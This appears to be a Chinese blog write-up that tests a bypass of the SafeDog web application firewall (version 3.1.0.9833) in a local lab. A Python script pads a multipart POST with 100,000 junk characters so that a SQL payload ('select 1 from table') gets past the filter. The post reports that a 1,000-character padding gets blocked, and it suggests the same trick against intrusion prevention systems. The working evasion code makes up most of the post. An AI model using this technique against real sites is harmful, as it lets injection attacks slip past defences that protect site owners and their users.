通过最大检测长度绕过安全狗


测试步骤:
1:使用wamp搭建一个web环境,并且安装最新版本的安全狗,3.1.0.9833.
2:下面就开始测试了,用python写一个post提交,post提交的内容包括select 1 from table;
3:编写code:
  1. import urllib2
  2. url = "http://192.168.4.70/3.php"
  3. header = {
  4.     'User-Agent' : 'letmetest',
  5.   'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
  6. }
  7. def getdata(m):
  8.     return "1"*m
  9. def postdata(n):
  10.     data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
  11.     data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
  12.     data += '%s\r\n' %  "0"*n
  13.     data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
  14.     data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
  15.     data += 'select 1 from table\r\n'
  16.     data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
  17.     return data
  18. request = urllib2.Request(url,postdata(100000),header)
  19. response = urllib2.urlopen(request).read()
  20. print response
4:测试结果
注意postdata中的内容,输入长度为100000的时候,返回的结果如下图:

可以看到显示的内容为web服务器的内容。

当我将postdata的内容改为长度1000的时候,结果如下:

这样可以看到内容被安全狗阻拦了。 

5:结论
看来安全狗貌似防范的内容受到长度的控制,用这种post的方法可以bypass。

drops上有一篇关于ips的bypass的文章,貌似此方法也可以bypass ips。
  1. http://drops.wooyun.org/papers/4323
在敏感字符前面插入Ng个垃圾字符